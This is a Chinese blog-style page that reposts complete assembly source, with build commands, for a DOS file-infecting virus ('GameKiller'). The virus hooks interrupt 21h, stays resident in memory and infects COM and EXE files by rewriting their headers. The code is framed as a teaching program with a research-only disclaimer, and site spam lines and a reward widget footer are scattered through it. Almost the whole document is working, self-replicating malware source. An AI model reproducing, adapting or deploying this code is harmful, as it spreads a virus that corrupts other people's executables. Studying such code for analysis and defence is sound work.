通用文件型病毒教学程序,感染msdos下的exe,com文件

==============================================================================
;rem = 通用文件型病毒教学程序,运行环境:msdos,感染文件*.com和*.exe =
;rem = version 1.5 最后更新 2001.9.29 =
;rem = 以下为dos的批处理命令,不要将前面的;号去掉,以免产生错误 =
;rem ==============================================================================
;rem 编译%0.bat文件为%0.obj文件
;tasm %0.bat
;rem 链接%0.obj文件为dv3.com文件
;tlink /x /t %0,dv3
;rem 删除%0.obj文件
;del %0.obj
;goto end_batch
;==================================================================================
;= 程序设计:倪建华(njhhack) =
;= 个人主页:njhhack.freehomepages.com =
;= 电子信箱:njhhack@21cn.com =
;==================================================================================
;= 程序用tasm3.1编译,用tlink2.0链接,生成的dv3.com是病毒的安装程序,运行环境为 =
;= dos操作系统,运行本批处理文件时要保证tasm.exe和tlink.exe在当前目录下,这两 = play.bitsCN.com累了吗玩一下吧
;= 个工具可以在njhhack.freehomepages.com/tools/tasm30.zip上下载 =
;==================================================================================
;= =
;= 本程序无危害性,但只可用做研究,不能做非法用途,否则引起的后果与作者无关 =
;= =
;==================下面是汇编指令源程序============================================
.MODEL tiny ;定义微型模式,以便链接成*.com文件
.CODE ;定义代码段
startupcode ;定义代码起始位置
new_begin: ;病毒入口点
CALL MY_ADDRESS ;调用子程序以获取当前病毒在内存中的位置
;下在是病毒中用到的各种数据
old21h dw 0,0 ;旧的21h系统中断向量
exe_com db 2 ;文件标志0=exe文件,1=com文件,2=病毒安装程序,默认为2,即安装程序
FILE_NAME Dw 0,0 ;文件名缓冲区
new_cs dw 0 ;cs寄存器
OSIZE_FILE DW 0,0 ;旧的文件大小
NSIZE_FILE DW 0,0 ;新的文件大小
;com文件头的数据(包括旧的和新的)
ocode_jmp dw 0,0 ;旧的跳转指令
ncode_jmp dw 0,0 ;新的跳转指令
;旧的exe文件头的数据(共20h字节)
so.bitsCN.com网管资料库任你搜

OEXE_ID DW 0 ;'MZ' 可执行EXE文件标志
OSIZE_MOD DW 0 ;最后扇区大小last sector size
OSIZE_DIV DW 0 ;以512字节为单位的文件大小包括结束扇区file size
ORELO_NUM DW 0 ;重定位项的个数reclocation numbers
OSIZE_HEAD DW 0 ;文件头的大小head size
OMEM_MIN DW 0 ;最小内存数min mem
OMEM_MAX DW 0 ;最大内存数max mem
OSS_SEG DW 0 ;堆栈段的基地址ss
OSP_OFF DW 0 ;堆栈段的偏移sp
OADD_SUM DW 0 ;检查和checksum
OIP_OFF DW 0 ;指令段的偏移ip
OCS_SEG DW 0 ;指令段的基地址cs
OREL_FIR DW 0 ;第一个重定位项的位置
OCOV_NUM DW 0 ;
ORES_ZOON DW 0 ;保留区
OITEM_FIR DW 0
;新的exe文件头的数据(结构及含义和上面的一样)
NEXE_ID DW 0
NSIZE_MOD DW 0
NSIZE_DIV DW 0
NRELO_NUM DW 0
NSIZE_HEAD DW 0
NMEM_MIN DW 0
NMEM_MAX DW 0
NSS_SEG DW 0
NSP_OFF DW 0
NADD_SUM DW 0
NIP_OFF DW 0
NCS_SEG DW 0
NREL_FIR DW 0
NCOV_NUM DW 0
NRES_ZOON DW 0
so.bitsCN.com网管资料库任你搜


NITEM_FIR DW 0
MY_ADDRESS: ;主程序开始
POP BP
SUB BP,3 ;BP中存放有病毒在内存中的当前位置
MOV AX,4B02H
INT 21H ;用4b02h功能号检查病毒是否已经驻留内存中
JNC ACTIVE_NOW
MAKE_ACTIVE: ;准备在高端分配一块内存并将病毒自身驻留在该块内存中
push ds
push es
MOV AX,DS
DEC AX
MOV DS,AX ;DS= MCB 段地址
XOR BX,BX ;BX= MCB 偏移地址
MOV AX,40H
SUB [BX+3],AX ;内存容量-400h; 1024 字节(1k)
MOV AX,[BX+3]
ADD AX,[BX+1] ;
MOV ES,AX ;ES= DOS 高端地址
XOR DI,DI ;DI=0
MOV AX,CS ;DS=代码段
MOV DS,AX
MOV SI,BP ;SI=new_begin
MOV CX,400h ;移动 1K 字节
CLD
REP MOVSB
PUSH ES
POP DS ;DS=ES
MOV AX,3521H ;保存旧21中断
INT 21H
MOV ds:[old21h-new_begin],BX
MOV ds:[old21h-new_begin][2],ES
MOV DX,offset new21h
sub dx,offset new_begin
MOV AX,2521H
INT 21H ;设置新21中断
pop es
pop ds
ACTIVE_NOW:
需要什么来搜一搜吧so.bitsCN.com

xor ax,ax
CMP cs:[bp+exe_com-new_begin],AL
JZ ret_EXE_FILE ;al=0,则是exe文件
inc al
CMP cs:[bp+exe_com-new_begin],AL
jz ret_com_file ;al=1,则是com文件
install: ;al=2,则是病毒安装程序
mov ah,9
lea dx,cs:[ver_time]
push cs
pop ds
int 21h ;显示病毒安装信息
mov ax,4c00h
int 21h ;返回到dos操作系统
ret_COM_FILE: ;恢复旧的com文件头,并跳回到原com入口处执行代码
mov ax,cs:[bp+ocode_jmp-new_begin]
mov cs:[100h],ax
mov ax,cs:[bp+ocode_jmp-new_begin][2]
mov cs:[102h],ax
mov ax,100h
push ax
ret
ret_exe_file: ;恢复旧的exe文件头,并跳回到原exe入口处执行代码
MOV AX,CS:[bp+OsS_SEG-new_begin]
MOV CX,DS
ADD AX,CX
ADD AX,10H
mov ss,AX
mov sp,CS:[bp+OsP_OFF-new_begin]
MOV AX,CS:[bp+OCS_SEG-new_begin]
MOV CX,DS
ADD AX,CX
ADD AX,10H
PUSH AX
PUSH CS:[bp+OIP_OFF-new_begin]
RETF
NEW21H: ;新的21号中断例程
dl.bitsCN.com网管软件下载

CMP AX,4B02H
JNZ CHECK_4B00H
CHECK_VIRUS: ;建立病毒驻留内存的标志
CLC
RETF 2
CHECK_4B00H:
CMP AX,4B00H
Jnz OLD21H_JMP
EXEC_VIRUS:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH BP
PUSH SP
PUSH SI
PUSH DI
PUSH DS
PUSH ES
PUSH SS
PUSHF
CALL VIRUS ;执行病毒程序
POPF
POP SS
POP ES
POP DS
POP DI
POP SI
POP SP
POP BP
POP DX
POP CX
POP BX
POP AX
OLD21H_JMP:
jmp DWORD PTR CS:[old21h-new_begin]
VIRUS: ;保存当前要执行的文件名
MOV cs:[file_name-new_begin],DX ;文件名偏移地址
MOV cs:[file_name-new_begin][2],DS ;文件名段地址
mov cs:[new_cs-new_begin],cs ;保存cs寄存器
CALL OPEN ;指针移到文件尾,后退 22 字节,cs:dx=dx:ax-22
CALL SEEKEND
mov cx,dx
mov dx,ax
sub dx,22
sbb cx,0
CALL SEEKBEGIN
lea DX,cs:[oexe_id-new_begin] ;ds:dx=读缓冲区
play.bitsCN.com累了吗玩一下吧


CALL READ20
call close
mov cx,10 ;比较 oexe_id 与 ver_time 是否相同
lea Di,cs:[oexe_id-new_begin] ;es:di=目标串的地址
mov es,cs:[new_cs-new_begin]
lea si,cs:[ver_time-new_begin] ;ds:si=源串的地址
mov ds,cs:[new_cs-new_begin]
repz cmpsb
cmp cx,0
jnz get_in ;未感染,则传播
ret
get_in:
CALL OPEN
lea DX,cs:[ocode_jmp-new_begin] ;ds:dx=读缓冲区
CALL READ4
call close
cmp word ptr cs:[ocode_jmp-new_begin],5a4dh ;判断文件头是否=5a4d
jnz com_file ;不相同,则转到 com 文件
jmp exe_file ;相同,则转到 exe 文件
com_file:
CALL OPEN
CALL SEEKEND
sub ax,3 ;计算新的 jmp 位移=文件长度-3,并保存指令到 ncode_jmp 中
mov word ptr cs:[ncode_jmp-new_begin][1],ax ;jmp指令的偏移
mov byte ptr cs:[ncode_jmp-new_begin],0e9h ;jmp指令的机器码
mov byte ptr cs:[exe_com-new_begin],1 ;设置 com 文件标志=1
CALL WRITE ;将病毒程序体写入文件未尾
CALL CLOSE
CALL OPEN
bitsCN全力打造网管学习平台

lea DX,cs:[ncode_jmp-new_begin] ;ds:dx=写缓冲区
CALL WRITE4 ;将新的 jmp 指令写回文件头
jmp get_out
exe_file:
CALL OPEN
lea DX,cs:[OEXE_ID-new_begin] ;ds:dx=读缓冲区
CALL READ20
call close
call open
lea DX,cs:[NEXE_ID-new_begin] ;ds:dx=读缓冲区
CALL READ20
cmp word ptr cs:[osize_head-new_begin],20h ;如果文件头<512字节,则不传染
jl get_out
call close
call make_size ;计算新文件的数据
CALL OPEN
lea DX,cs:[nEXE_ID-new_begin] ;ds:dx=写缓冲区
CALL WRITE20 ;将新的文件头,写回文件首部
CALL SEEKEND
mov byte ptr cs:[exe_com-new_begin],0 ;设置 exe 文件标志=0
CALL WRITE ;将病毒程序体写到文件尾
get_out:
call close
RET
make_size: ;将指针移到未尾,dx:ax=max:min文件大小
CALL OPEN
CALL SEEKEND
MOV cs:[OSIZE_FILE-new_begin],AX ;保存旧的文件大小
MOV cs:[OSIZE_FILE-new_begin][2],DX
add ax,cs:[bsize-new_begin]
adc dx,0 so.bitsCN.com网管资料库任你搜
mov cx,ax ;计算新的文件 mod,取512为模即200h,故and 1ffh
and cx,1ffh
mov cs:[nsize_mod-new_begin],cx
mov cl,7 ;计算新的文件 div
shl dx,cl
mov cl,9
shr ax,cl
add ax,dx
mov cx,cs:[nsize_mod-new_begin] ;根据 mod=0 ? 来增加 div 的值
cmp cx,0
jz zero_mode
inc ax ;若mod<>=0则 div 的值增 1
zero_mode:
mov cs:[nsize_div-new_begin],ax
MOV AX,cs:[OSIZE_HEAD-new_begin] ;计算旧的文件头大小,以10h为单位
shl ax,4
mov cx,dx
MOV DX,cs:[OSIZE_FILE-new_begin][2];计算程序体大小,DX:AX=OSIZE_FILE-OSIZE_HEAD
SUB DX,cx
mov cx,ax
MOV AX,cs:[OSIZE_FILE-new_begin]
sbb ax,cx
MOV cs:[NIP_OFF-new_begin],AX ;计算新的 ip 的值,cs:ip=ncs_seg:nip_off
MOV CX,0FH
AND cs:[NIP_OFF-new_begin],CX
MOV CL,4 ;计算新的 cs 值
SHR AX,CL
MOV CL,12
SHL DX,CL
ADD DX,AX
MOV cs:[NCS_SEG-new_begin],DX
MOV cs:[NSS_SEG-new_begin],DX ;计算新的 ss:sp 值
dl.bitsCN.com网管软件下载


mov ax,cs:[bsize-new_begin]
add ax,20h
MOV word ptr cs:[NSP_OFF-new_begin],ax
call close
ret
OPEN:
mov ds,cs:[file_name-new_begin][2] ;DS:DX=文件名
mov DX,cs:[file_name-new_begin]
MOV ax,3D02H ;AL=打开方式,以读写方式打开
INT 21H
mov bx,ax ;ax=文件句柄,将句柄保存到bx中
RET
CLOSE:
MOV AH,3EH
jmp ret_sub
READ4: mov cx,4
jmp read_sub
READ20: mov cx,20h
read_sub:
mov ds,cs:[new_cs-new_begin]
MOV AH,3FH ;DS:DX=缓冲区,CX=读取字节数
jmp ret_sub
WRITE: mov cx,cs:[bsize-new_begin] ;设置病毒程序体大小
xor dx,dx ;ds:dx=写缓冲区
jmp write_sub
WRITE4:mov cx,4
jmp write_sub
WRITE20: mov cx,20h
write_sub:
mov ds,cs:[new_cs-new_begin]
MOV AH,40H ;DS:DX=缓冲区,CX=读取字节数
jmp ret_sub
SEEKBEGIN:
MOV ax,4200H ;CX:DX=max:min字节数,al=移动方式,从开头移动
jmp ret_sub
SEEKEND:
xor cx,cx
www.bitsCN.net中国网管博客

xor dx,dx
MOV ax,4202H ;从文件尾部开始移动0个字节
ret_sub:
int 21h
RET
ver_time db 'GameKiller 2000.3.6$';标志信息
bsize dw $-100h+2 ;病毒程序大小
end ;病毒代码段结束
;rem ==============================================================================
;:end_batch
;rem ==============================================================================
;echo on
 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值